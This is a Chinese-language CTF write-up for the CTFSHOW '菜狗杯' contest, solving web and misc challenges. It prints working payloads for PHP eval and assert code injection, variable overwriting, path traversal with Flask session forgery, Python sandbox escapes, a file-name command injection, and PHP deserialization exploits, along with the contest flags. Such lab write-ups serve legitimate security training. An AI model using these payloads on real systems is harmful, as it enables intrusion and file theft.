LOADING...

dadada~

loading

CTFSHOW_菜狗杯_wp

2022/11/12 CTF CTF-WP

CTFSHOW-菜狗杯

web-web签到

  • 怎么有人不会传参啊(

  • 抄一份源码,是个挺有意思的题

    <?php
        error_reporting(0);
        highlight_file(__FILE__);
    
        eval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]);
    
  • 这里需要注意的是,用hackbar传的cookie参数有时候传不进去,bp抓包手动传

  • 然后,中文一直变乱码,转成url编码传:Cookie: CTFshow-QQ%E7%BE%A4:=a

  • post传:a=b,get传:?b=c&c[6][0][7][5][8][0][9][4][4]=system('cat%20/f1agaaa');

  • 得到flag:ctfshow{a594c2b9-820e-43ca-8691-ab82e56421cd}

web-c0me_t0_s1gn

  • 看到页面提示直接看源码,找到一堆js和半个flag:ctfshow{We1c0me_
  • 源码里提示控制台,打开控制台提示调用g1ve_flag()函数,直接输入得到另一半flag:t0_jo1n_u3_!}

web-我的眼里只有$

  • 猜到是变量覆盖但是

    <?php
        error_reporting(0);
        extract($_POST);
        eval($$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_);
        highlight_file(__FILE__);
    
  • 或许写个脚本生成payload会比手敲快(?),可能我唯一聪明的一点就是strlen输出了一下$的个数,36个(?)

    _=a&a=b&b=c&c=d&d=e&e=f&f=g&g=h&h=i&i=j&j=k&k=l&l=m&m=n&n=o&o=p&p=q&q=r&r=s&s=t&t=u&u=v&v=w&w=x&x=y&y=z&z=A&A=B&B=C&C=D&D=F&F=G&G=H&H=I&I=J&J=system('cat /f1agaaa');
    
  • 得到flag:ctfshow{8ca2165a-f062-4831-b9f5-ca4fd3c0b446}

web-抽老婆

  • 抽到一个那么好看的粉毛呜呜呜,但是这题也不会,先占个位置,过后补

  • 找到了一个目录:/download?file= ,传进去?file=flag,Unicode解码出来是:你想干什么?也不知道这个思路是不是对的

  • 怎么有人不记得任意文件读取漏洞啊

  • /download?file=../../../../../../../app/app.py下载源码,找到好东西如下:

    app.config['SECRET_KEY'] = 'tanji_is_A_boy_Yooooooooooooooooooooo!'
    if session['isadmin']:
            return jsonify({"msg":flag})
    
  • 伪造session,但是不太明白原理(要学要学要学),一哥说python就几个模板,并且官方wp给的脚本是可以通用的

  • 脚本存了一手,记下来怎么用:python3 Encode.py encode -t "{'isadmin':True}" -s "tanji_is_A_boy_Yooooooooooooooooooooo!"

  • 跑出来的东西直接复制下来抓包改session就可以啦

web-传说之下(雾)

  • 不会,找到了一堆可以函数,但是js看得人头疼,不想看了拜拜
  • js我的噩梦呜呜呜
  • 可以在源码里找到一个Game = new Underophidian('gameCanvas'),控制台调用
  • score改成大于2077的数,然后玩一下游戏
  • 控制台得到flag

web-超级算力

  • 没思路,占个位置复现补wp
  • 沙箱逃逸是什么,记一下,要学要学要学
  • 这里大佬博客写随便写字符可以报错,但是我不知道源码在哪里看
  • 吸取经验,看到这种计算器就要想到命令执行
  • 这里对number1和operator有些过滤,但是number2没有,官方wp写的是由于复制粘贴的原因
  • payload:_calculate?number1=&operator=&number2=__import__('os').popen('cat /f*').read()

web-算力升级

  • 还是python沙箱逃逸,记得学记得学记得学(标记了一处地点)

  • 这个题给看源码了,两个正则判断传入的字符串是否是数字或者包含在gmpy2库里

  • 看一下gmpy2里的方法:

    import gmpy2
    print(dir(gmpy2))
    
  • gmpy2.__builtins__是含有eval的,思路就是使用eval和dir(gmpy2)中的内容拼接字符串,payload生成脚本如下:

    import gmpy2
    
    s = "__import__('os').popen('cat /flag').read()"
    
    payload = "gmpy2.__builtins__['erf'[0]+'div'[2]+'ai'[0]+'lcm'[0]]("
    
    for i in s:
        if i not in "/'(). ":
            temp_index = 0
            temp_string = 'x' * 20
            for j in dir(gmpy2):
                if j.find(i) >= 0:
                    if len(j) < len(temp_string):
                        temp_string = j
                        temp_index = j.find(i)
            payload += f'\'{temp_string}\'[{temp_index}]+'
        else:
            payload += f'\"{i}\"+'
    
    payload = payload[:-1] + ')'
    
    print(payload)
    
  • payload:

    gmpy2.__builtins__['erf'[0]+'div'[2]+'ai'[0]+'lcm'[0]]('c_div'[1]+'c_div'[1]+'ai'[1]+'agm'[2]+'cmp'[2]+'cos'[1]+'erf'[1]+'cot'[2]+'c_div'[1]+'c_div'[1]+"("+"'"+'cos'[1]+'cos'[2]+"'"+")"+"."+'cmp'[2]+'cos'[1]+'cmp'[2]+'erf'[0]+'jn'[1]+"("+"'"+'cmp'[0]+'ai'[0]+'cot'[2]+" "+"/"+'erf'[2]+'lcm'[0]+'ai'[0]+'agm'[1]+"'"+")"+"."+'erf'[1]+'erf'[0]+'ai'[0]+'add'[1]+"("+")")
    
  • 直接输入到计算式那个框里,得到flag

web-easyPytHon_P

  • 又双叒叕是一道python题

  • 关键代码:

    tVar = subprocess.run([cmd[:3], param, __file__], cwd=os.getcwd(), timeout=5)
    
  • subprocess.run():执行指定的命令,等待命令执行完成后返回一个包含执行结果的CompletedProcess类的实例

  • cmd参数这个意思应该是限制了长度?param无限制

  • awk可以执行系统命令,长度刚好为3,要post传参,payload

    cmd=awk&param=system("ls")
    cmd=awk&param=system("cat flag.txt")
    
  • 或者直接:

    cmd=ls&param=.
    cmd=cat&param=flag.txt
    

web-遍地飘零

  • 这个题之前看过的,但是一直没研究明白,变量覆盖也是一直整不明白,源码:

    <?php
    include "flag.php";
    highlight_file(__FILE__);
    
    $zeros="000000000000000000000000000000";
    
    foreach($_GET as $key => $value){
        $$key=$$value;
    }
    
    if ($flag=="000000000000000000000000000000"){
        echo "好多零";
    }else{
        echo "没有零,仔细看看输入有什么问题吧";
        var_dump($_GET);
    }
    
  • 结果竟然那么简单,我好菜呜呜呜,payload:_GET=flag

web-茶歇区

  • 据说考点是php整型溢出,但是发现payload都得是18位数才可以
  • payload:a=0&b=0&c=0&d=0&e=1111111111111111111&submit=%E5%8D%B7%E4%BA%86%E5%B0%B1%E8%B7%91%EF%BC%81

web-小舔田

  • php反序列化构造pop链,exp:

    <?php
        include "flag.php";
        class Moon{
            public $name;
            public function __construct(){
                $this->name = new Ion_Fan_Princess();
            }
        }
        class Ion_Fan_Princess{
            public $nickname="小甜甜";
        }
        echo urlencode(serialize(new Moon()));
    
  • payload:?code=O%3A4%3A"Moon"%3A1%3A%7Bs%3A4%3A"name"%3BO%3A16%3A"Ion_Fan_Princess"%3A1%3A%7Bs%3A8%3A"nickname"%3Bs%3A9%3A"小甜甜"%3B%7D%7D

web-LSB探姬

  • 可以看源码,找到:

     cmd="python3 tsteg.py upload/"+f.filename
     result=os.popen(cmd).read()
    
  • 可以利用文件名拼接命令执行,这里有一个后缀检测

  • 上传文件:;ls;.jpg,找到flag.py

  • 上传文件:;cat flag.py;.jpg,得到flag

web-一言既出

  • 又是一个php特性,抄一手源码:

    <?php
    highlight_file(__FILE__); 
    include "flag.php";  
    if (isset($_GET['num'])){
        if ($_GET['num'] == 114514){
            assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
            echo $flag;
        } 
    } 
    
  • 一开始还妄图找到114514和1919810之前存在某种进制关系….

  • 然后想到,assert是可以执行代码的,就打算传注释符和换行进去执行一个phpinfo();看看能不能成功,但是也失败了

  • 试着闭合一下括号,竟然,成功了😳,payload:?num=114514);//

  • 得到flag:ctfshow{f13534cd-4c33-4738-956e-d48bba54989d}

web-驷马难追

  • 完蛋,括号被ban了

    <?php
    highlight_file(__FILE__); 
    include "flag.php";  
    if (isset($_GET['num'])){
         if ($_GET['num'] == 114514 && check($_GET['num'])){
                  assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
                  echo $flag;
         } 
    } 
    
    function check($str){
      return !preg_match("/[a-z]|\;|\(|\)/",$str);
    }
    
  • 直接加法绕过,顺便发现上一题失败的原因是忘记给加号去url编码了,payload:?num=114514%2b1805296

  • 得到flag:ctfshow{5d9720de-3a7b-4edf-93b6-cfb738dee7b5}

web-TapTapTap

  • 怎么又是游戏啊,bp抓包啥也没有,应该是纯前端题,翻js
  • /js/habibiScript.js里看到一堆判断是否通关之类的函数
  • 找到宝啦:alert(atob('WW91ciBmbGFnIGlzIGluIC9zZWNyZXRfcGF0aF95b3VfZG9fbm90X2tub3cvc2VjcmV0ZmlsZS50eHQ='));
  • 解码得到:Your flag is in /secret_path_you_do_not_know/secretfile.txt
  • 直接访问,得到flag:ctfshow{59d118fb-057a-4466-bfda-0aaa336db3b6}

web-Webshell

  • 反序列化+正则,执行命令中不允许包含flag,构造exp:

    <?php
        error_reporting(0);
        class Webshell {
            public $cmd = 'cat f*'; //命令
            public function __construct() {
                $this->init();
            }
            public function init() {
                /*if (!preg_match('/flag/i', $this->cmd)) {
                    $this->exec($this->cmd);
                }*/
            }
            public function exec($cmd) {
                $result = shell_exec($cmd);
                echo $result;
            }
        }
        $a = new Webshell();
        echo urlencode(serialize($a));
    
  • payload:?cmd=O%3A8%3A"Webshell"%3A1%3A%7Bs%3A3%3A"cmd"%3Bs%3A2%3A"ls"%3B%7D,找到flag.php

  • ?cmd=O%3A8%3A"Webshell"%3A1%3A%7Bs%3A3%3A"cmd"%3Bs%3A6%3A"cat%20f%2A"%3B%7D,查看源码

  • 得到flag:ctfshow{c1da0873-9514-4be6-a08a-d1a8952036c1}

web-化零为整

  • 源码:

    <?php
    highlight_file(__FILE__);
    include "flag.php";
    $result='';
    for ($i=1;$i<=count($_GET);$i++){
        if (strlen($_GET[$i])>1){
            die("你太长了!!");
            }
        else{
        $result=$result.$_GET[$i];
        }
    }
    if ($result ==="大牛"){
        echo $flag;
    }
    
  • 其实就是只能按顺序传入数字命名的参数然后长度限制了不能大于1

  • strlen汉字的长度是2,转化为url编码一个一个传就好了:%E5%A4%A7%E7%89%9B

  • payload:?1=%E5&2=%A4&3=%A7&4=%E7&5=%89&6=%9B

  • 得到flag:ctfshow{f72f1179-1355-46d6-8b03-ba1663d07a71}

web-无一幸免

  • 白送题:

    <?php
    include "flag.php";
    highlight_file(__FILE__);
    if (isset($_GET['0'])){
        $arr[$_GET['0']]=1;
        if ($arr[]=1){
            die($flag);
        }
        else{
            die("nonono!");
        }
    }
    
  • payload:?0=0,得到flag:ctfshow{547f9423-cc51-48b4-b045-f547d40bb479}


本人,misc废物,只会最简单的三道

misc-杂项签到

  • winhex打开,一开始的思路是,改宽高但是木有效果,搜flag没有找到,分离图片也没分出来啥东西
  • 结果竟然是直接搜ctfshow就能找到flag,呜呜呜我就说签到题怎么能这么难嘛
  • ctfshow{a62b0b55682d81f7f652b26147c49040}

misc-损坏的压缩包

  • 根据提示直接winhex打开,发现是png图,直接改后缀打开,看到flag
  • ctfshow{e19efe2eb86f10ccd7ca362110903c05}

misc-我吐了你随意

  • 3Q,我也吐了
  • 直接告诉了是0宽,直接解密 ,拿到flag:ctfshow{OP_is_for_Over_Power}